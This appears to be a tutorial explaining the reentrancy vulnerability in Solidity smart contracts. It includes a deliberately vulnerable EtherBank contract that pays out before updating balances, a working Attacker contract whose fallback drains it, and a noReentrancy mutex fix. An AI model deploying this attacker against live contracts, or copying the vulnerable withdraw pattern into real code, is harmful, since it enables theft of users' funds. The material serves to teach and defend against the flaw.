Reentrancy — a vulnerability that causes your Solidity smart contract to be withdrawn all money
What is Reentrancy attack?
Suppose we have 2 contracts: A and B. Contract A calls contract B. The basic idea of Reentrancy attack is the contract B can call back into contract A while contract A is still executing.
For example, contract A has 100 Ether, the contract B has 0 Ether. In contract A, we have recorded the balance number for each address was deposited. Specifically, in this example, contract A records the balance of contract B is 1 Ether.
Contract A also has a withdraw function for depositors can get back money which deposited before.
The contract is OK if the caller is a wallet address (not a contract address). Example: John had deposited 1 Ether before to smart contract, and John wants to withdraw it today:
The contract will check John's balance is greater than 0 or not. If the balance is greater than 0, the contract will send Ether to John's wallet.
After contract A sends Ether to Join’s wallet, it will reset John’s balance record is 0:
It looks fine. But, with Solidity, we can use a smart contract to call another smart contract. For example, we will use contract B to exploit contract A. The key of contract B that we will use the fallback function feature of Solidity.
Step 1: Contract B will call the withdrawal function of contract A.
Step 2: Contract A check balance is greater than 0 or not. If this condition is satisfied, contract A will send Ether to contract B and make the fallback function of contract B is executed:
Step 3: The fallback function of contract B calls the withdraw function of contract A while the balance value of B is recorded by A is still greater than 0:
Step 4: Contract A will send Ether to contract B again.
Repeat much time, the contract B will withdraw all money of contract A:
Smart contract:
Firstly, we create a contract named EtherBank. It is Contract A in the above example.
Note that, this code works when we use Solidity version ^0.6.0 or ^0.7.0.
pragma solidity ^0.7.0;contract EtherBank {
uint public total = 0;
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
total += msg.value;
}
function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount , "Out of amount");
(bool sent, ) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send Ether");
balances[msg.sender] -= _amount;
total -= _amount;
}
function getBalance() public view returns(uint) {
return balances[msg.sender];
}
}
Secondly, we create another contract named Attacker. It is Contract B in the above example.
pragma solidity ^0.7.0;import './EtherBank.sol';contract Attacker {
EtherBank public etherBank;
constructor(address _etherBankAddress) public {
etherBank = EtherBank(_etherBankAddress);
}
fallback() external payable {
if(address(etherBank).balance >= 1 ether){
etherBank.withdraw(1 ether);
}
}
function attack() public payable {
require(msg.value >= 1 ether);
etherBank.deposit{ value: 1 ether}();
etherBank.withdraw(1 ether);
}
function getBalance() public view returns(uint) {
return address(this).balance;
}
}
Call the attack function with 1 ether.
How to prevent Reentrancy:
To prevent Reentrancy, we will declare a modifier named noReentrancy:
pragma solidity ^0.7.0;contract EtherBank {
uint public total = 0;
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
total += msg.value;
}
bool internal locked;
modifier noReentrancy() {
require(!locked , 'No reentrancy');
locked = true;
_;
locked = false;
}
function withdraw(uint _amount) public noReentrancy {
require(balances[msg.sender] >= _amount , "Out of amount");
(bool sent, ) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send Ether");
balances[msg.sender] -= _amount;
total -= _amount;
}
function getBalance() public view returns(uint) {
return balances[msg.sender];
}
}
We will use a bool variable: locked. The magic is _; sentence. _; means continue executing the function (in this case is withdraw function).